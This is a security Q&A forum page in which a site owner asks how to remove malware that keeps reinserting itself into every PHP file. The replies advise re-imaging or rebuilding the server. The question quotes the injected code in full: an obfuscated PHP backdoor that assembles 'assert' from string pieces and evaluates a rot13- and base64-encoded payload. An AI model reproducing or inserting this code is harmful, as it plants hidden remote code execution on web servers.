0

This question already has an answer here:

I'm desprate because my site has been attacked by some malware that adds code below on every php files. I tried to edit and chmod the infected file but its coming back. Scanning with ClamAV found nothing. Any idea how to clean it?

<?php
//###==###
error_reporting(0); 
$strings = "as";$strings .= "sert";
if (!@$m1cd6) {$m1cd6=1;@$strings(str_rot13('riny(onfr64_qrpbqr("VTyzXUA0paA0pvtxK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFjvq3NgoT9anJ4vXKk8p3Elp3ElXPEsH0IFIxIFJlWFEISIEIAHK1IFFFWqYPW3pP1uMT1covVcXJEcMGfxpG0xK1WSHIISH1EoVaRvKGgcMvtuDPEkXFEkCKA1LaA0pvtxK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFjkYQR0ZPx7WTM0CKA1LaA0pvtxpFjgAPj0XGgcMvNbXPEzqQ09Vv5jMTLvsUjxMaD9CFVhpaEzVak8WTM0CG0vYzEiLlW8sPEzqQ09Vv54oUZvsUjxMaD9CFVhpUO0Vak8WTM0CG0vYz9xqPW8sPEzqQ09Vv5iMUNvXFLzp3EloTIhXPEkXG4kZPLzp3EloTIhXPEkXGjkZmHzWvSjpzIaK21uqTAbXPVyJ15uYKcOYIbjYGypYyksKPjgKFHvYPEkXFy7WUN9oJD1XUOlMJqspzIjoTSwMFtaWI53q3qpYvthXlxxWFpfVykpZFVfWS9GEIWJEIWoVxuHISOsFR9GIPWqXFx7WUH9LzSmMGL0K2EyL29xMFtvLGV1ZTAhIacxDmIdLwVjCFVcBlEwnQ1wqKWfK2yhnKDbVzu0qUN6Yl8vYvE1YvVipv8vYvEjYvViVv4xpF4vYlVhqKWfMJ5wo2EyXTWup2H2AS9yozAiMTHbWS9GEIWJEIWoVxuHISOsFR9GIPWqYvW8sUjvYvEsH0IFIxIFJlWFEH1CIRIsDHERHvWqYvW8sUjvYvEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKF4vsUk8Vv4xK1ASHyMSHyfvFSEHHS9FEHMSHxIFVy0cXFx7L3IloS9mMKEipU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aEmXPWbqUEjBv8in250paImqP5wo20iM2I0YaObpQ9xCFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWGEIWJEIWsGxSAEFWqYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqXF4vWaH9Vv51pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXF4vWzZ9Vv4xLmNhVvMcCGRznKN9Vv4xK1ASHyMSHyfvHxIAG1ESK0SRESVvKF4vWzt9Vv5gMQHbVwN2AzV2MGN4Amx1A2SvZQp4AGHlL2DkZzH2LwL2AQDmVv4xK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKF4xK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0hWTZjYvVkVvxcB31cMvucp3AyqPtxnJW2XFy7MJAbolNxnJW2B319nJLbnKAmMKDbWS9FEISIEIAHJlWjVy0cWvLxK1WSHIISH1EoVaNvKG09VwH5AQN3LwywVvy7DTSmp2IlqPtxK1WSHIISH1EoVzZvKFx7sD=="));'));}
//###==###

marked as duplicate by WhiteWinterWolf, AviD Sep 24 '15 at 19:51

This question has been asked before and already has an answer. If those answers do not fully address your question, please ask a new question.

  • 1
    Format drive and reinstall OS and apps. If you restore from a backup, make sure that it is a backup that took place before the infection. – Neil Smithline Sep 24 '15 at 17:53
1

If you have Malware that is attacking System-Level files, you should Rebuild or Re-Image that system entirely. In this case, a simple Malware or Anti-Virus Scan may not catch it, especially if the process it is running on is a common one, or is not recognized by your A/V or Scanning Software.

Use a top-down approach to scanning every part of your network/system, but start with Re-imaging the Suspect System.

  • It's a shared hosting environment with su php. It is imposibble to rebuild entire system – Mohammad Irfan Sep 24 '15 at 18:24
  • @MohammadIrfan - I would say that it is impossible to secure a shared hosting system with PHP running as root. Your machine is only as secure as the weakest of sites on that machine. – Neil Smithline Sep 24 '15 at 18:27
  • I agree with Neil, you should always have a plan in place to rebuild from the ground-up in case of an integrated malware attack. Depending on the attack vector, you may get away with simply re-imaging only certain servers, but at this point we don't have enough information to recommend otherwise. – user58700 Sep 25 '15 at 17:59

Not the answer you're looking for? Browse other questions tagged or ask your own question.